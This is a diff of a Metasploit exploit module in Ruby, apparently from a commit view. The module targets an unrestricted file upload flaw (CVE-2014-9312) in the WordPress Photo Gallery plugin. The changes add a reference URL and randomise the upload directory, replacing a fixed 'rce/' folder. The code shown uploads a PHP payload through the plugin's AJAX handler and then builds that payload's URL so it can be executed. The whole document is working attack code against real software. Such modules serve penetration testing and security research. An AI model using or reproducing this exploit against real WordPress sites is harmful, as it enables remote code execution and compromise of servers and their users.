@@ -32,7 +32,8 @@ def initialize(info = {})
32
32
[
33
33
[ 'OSVDB' , '117676' ] ,
34
34
[ 'WPVDB' , '7769' ] ,
35
- [ 'CVE' , '2014-9312' ]
35
+ [ 'CVE' , '2014-9312' ] ,
36
+ [ 'URL' , 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html' ]
36
37
] ,
37
38
'DisclosureDate' => 'Nov 11 2014' ,
38
39
'Platform' => 'php' ,
@@ -78,11 +79,12 @@ def exploit
78
79
payload_name = Rex ::Text . rand_text_alpha ( 10 )
79
80
data = generate_mime_message ( payload , payload_name )
80
81
81
- print_status ( "#{ peer } - Uploading payload..." )
82
+ upload_dir = "#{ Rex ::Text . rand_text_alpha ( 5 ) } /"
83
+ print_status ( "#{ peer } - Uploading payload to #{ upload_dir } ..." )
82
84
res = send_request_cgi (
83
85
'method' => 'POST' ,
84
86
'uri' => wordpress_url_admin_ajax ,
85
- 'vars_get' => { 'action' => 'bwg_UploadHandler' , 'dir' => 'rce/' } ,
87
+ 'vars_get' => { 'action' => 'bwg_UploadHandler' , 'dir' => upload_dir } ,
86
88
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
87
89
'data' => data . to_s ,
88
90
'cookie' => cookie
@@ -100,7 +102,7 @@ def exploit
100
102
else
101
103
uploaded_name = json [ 'files' ] [ 0 ] [ 'name' ] [ 0 ..-5 ]
102
104
php_file_name = "#{ uploaded_name } .php"
103
- payload_url = normalize_uri ( wordpress_url_backend , 'rce' , uploaded_name , php_file_name )
105
+ payload_url = normalize_uri ( wordpress_url_backend , upload_dir , uploaded_name , php_file_name )
104
106
print_good ( "#{ peer } - Parsed response" )
105
107
106
108
register_files_for_cleanup ( php_file_name )
0 commit comments